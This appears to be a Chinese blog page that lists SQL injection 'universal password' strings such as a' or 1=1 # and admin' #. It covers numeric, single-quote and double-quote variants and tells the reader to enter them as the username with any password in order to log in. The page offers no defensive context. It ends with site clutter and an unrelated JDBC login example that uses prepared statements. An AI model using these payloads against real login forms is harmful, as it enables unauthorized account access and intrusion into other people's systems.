万能密码或账号登录语句

在这里插入图片描述
下面是记录了一些万能密码登录语句,一下均来自网络

数值型万能账号

a or true #

a or 1 #

a or 1=1 #

a or true – a

a or 1 – a

a or 1=1 – a

单引号字符型万能密码

a’ or true #

a’ or 1 #

a’ or 1=1 #

a’ or true --a

a’ or 1 – a

a’ or 1=1 – a

双引号字符型万能密码

a" or true #

a" or 1 #

a" or 1=1 #

a" or true – a

a" or 1 – a

a" or 1=1 – a

万能账号的使用

账号输入: a or true #

密码随便输入,比如:123456

数值型万能密码

admin #

admin – a

单引号字符串型万能密码

admin’ #

admin’ – a

双引号字符串型万能密码

admin” #

admin" – a

万能密码的使用

用户名输入: admin’ #

密码随便输入,比如: 123456

  • 1
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
下面是使用 JDBC 写一段根据账号密码登录的代码示例: ``` import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; public class Login { public static void main(String[] args) { Connection connection = null; PreparedStatement preparedStatement = null; ResultSet resultSet = null; try { // 加载 MySQL JDBC 驱动程序 Class.forName("com.mysql.cj.jdbc.Driver"); // 创建 JDBC 连接 connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/mydatabase", "root", "password"); // 创建 PreparedStatement 对象 String sql = "SELECT * FROM users WHERE username=? AND password=?"; preparedStatement = connection.prepareStatement(sql); // 设置参数 preparedStatement.setString(1, "username"); preparedStatement.setString(2, "password"); // 执行查询 resultSet = preparedStatement.executeQuery(); // 判断是否登录成功 if (resultSet.next()) { System.out.println("登录成功"); } else { System.out.println("登录失败"); } } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (SQLException e) { e.printStackTrace(); } finally { try { if (resultSet != null) { resultSet.close(); } if (preparedStatement != null) { preparedStatement.close(); } if (connection != null) { connection.close(); } } catch (SQLException e) { e.printStackTrace(); } } } } ``` 在上面的代码中,我们首先创建了一个 `Connection` 对象,然后使用 `DriverManager.getConnection()` 方法创建 JDBC 连接。接着,我们使用 `connection.prepareStatement()` 方法创建 `PreparedStatement` 对象,并设置 SQL 语句和参数。最后,我们执行查询,判断是否登录成功。 注意,上面的代码中的 `username` 和 `password` 应该替换为实际的用户名和密码。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值